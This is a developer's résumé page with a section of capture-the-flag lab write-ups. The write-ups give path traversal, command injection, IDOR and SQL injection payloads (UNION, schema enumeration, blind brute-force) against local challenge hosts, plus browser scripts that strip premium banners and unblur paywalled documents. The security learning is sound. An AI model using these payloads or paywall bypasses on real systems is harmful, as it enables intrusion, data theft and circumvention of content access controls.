Austin Githinji
Senior Full Stack Developer

Professional Profile
A results-oriented Software Developer with over two years of experience in application and web development. With a dedicated interest in cybersecurity, I proactively research security vulnerabilities to build more robust and secure software. My goal is to leverage my skills in a role where I can contribute to creating secure, high-quality digital solutions
Skills
- HTML
- CSS
- JavaScript
- Tailwind
- TypeScript
- Node
- SQL
- MongoDB
- Git
- GitHub
- Next.js
- React
- Vue
- Docker
- Astro
- PHP
- Linux
Projects
Programmed a Python script to automate the filling of registration forms with realistic, generated user data for testing purposes.
Created a browser extension for Chrome and Firefox that enhances the viewing experience on documentary-area.com by providing high-quality video streams. Achieved community recognition with multiple stars on GitHub, demonstrating project value and user satisfaction.
Experience
- IT Consultant @ A.C.K. St. Stephen’s Church, Gatuanyaga
Gatuanyaga, Kenya - OnsiteSummary:
- Designed and implemented the core IT infrastructure for all pastoral and administrative activities.
Highlights:
- Engineered and managed the church’s audio-visual systems, successfully integrating multiple screens for live services and events.
- Developed and launched the official church website; integrated the Daraja API to enable M-Pesa STK push payments for offerings, streamlining the donation process.
- Built a cross-platform liturgy application using Flutter, providing church services in multiple languages to enhance accessibility for the congregation.
- Co-developer @ TenantMate (Academic Project)
AcademicSummary:
- Co-developed with a team of four students to design and build a Mobile App in Flutter, focusing on the Real Estate sector, with key aspects such as Maintenance Ticketing and Rent Payment Analytics.
Lab Challenges
- Remove Premium Banners
const premiumBanner = document.querySelector('[class*="PremiumBannerBlobWrapper_preview-banner"]'); if (premiumBanner) premiumBanner.remove(); - Unblur Document Pages
document.querySelectorAll('.page-content').forEach(page => { page.style.filter = 'none'; }); - Real-Time DOM Monitoring
const observer = new MutationObserver((mutations) => { mutations.forEach((mutation) => { mutation.addedNodes.forEach((node) => { if (node.nodeType === Node.ELEMENT_NODE && node.matches('[class*="PremiumBannerBlobWrapper"]')) { setTimeout(removePremiumBanner, 100); } }); }); }); observer.observe(document.body, { childList: true, subtree: true }); - Enable Document Download
function createDownloadButton() { let downloadBtn = document.createElement("button"); downloadBtn.addEventListener('click', generatePDF); return downloadBtn; }
- Client-side controls are insufficient for protecting premium content. Any content delivered to the browser can be accessed by users, regardless of UI restrictions.
- Robust server-side access control is essential to prevent unauthorized access and downloading of premium documents.
- Security through obscurity (e.g., overlays, CSS blurring) does not provide real protection against determined attackers with basic web development knowledge.
curl http://challenge.localhost:80?path=/../../../etc/passwd --path-as-is -icurl http://challenge.localhost:80?path=/../../../flag --path-as-is -i
- Path traversal vulnerabilities can be exploited by manipulating URL parameters.
- Servers may leak information about required parameters in error messages.
- Always validate and sanitize user input on the server side.
curl --path-as-is "http://challenge.localhost:80?timezone=whoami;id;"Python requests: url = 'http://challenge.localhost:80?timezone=who;cat /flag;'
- Unsanitized input passed to shell commands can lead to command injection.
- Error messages and stack traces can reveal how input is processed.
- Always use parameterized APIs or proper input validation when invoking system commands.
curl http://challenge.localhost:80?user=1
- User IDs in URLs can be manipulated to access other users’ data.
- Never trust user-supplied identifiers without proper authorization checks.
Python requests: username=" or 1=1--, password=adminPython requests: username=flag" --, password=admin
- String interpolation in SQL queries is highly dangerous.
- Always use parameterized queries to prevent SQL injection.
Python requests: query=f% (enumerate users)Python requests: query=" UNION SELECT password FROM users -- (extract flag)
- Even seemingly harmless search features can be vulnerable to SQL injection.
- UNION-based SQL injection can be used to extract arbitrary data.
Python requests: query=" UNION SELECT tbl_name FROM sqlite_master -- (discover table)Python requests: query=" UNION SELECT password FROM table6108655952227085405 ; -- (extract flag)
- SQL injection can be used to enumerate database schema.
- Understanding the underlying database system helps in crafting effective attacks.
Python requests: username=flag " OR password LIKE "p%" -- -Automated brute-force with Python and string module
- Blind SQL injection requires creative use of application responses to infer data.
- Automating attacks can save significant time in blind scenarios.
- GLOB can be used for case-sensitive matching in SQLite.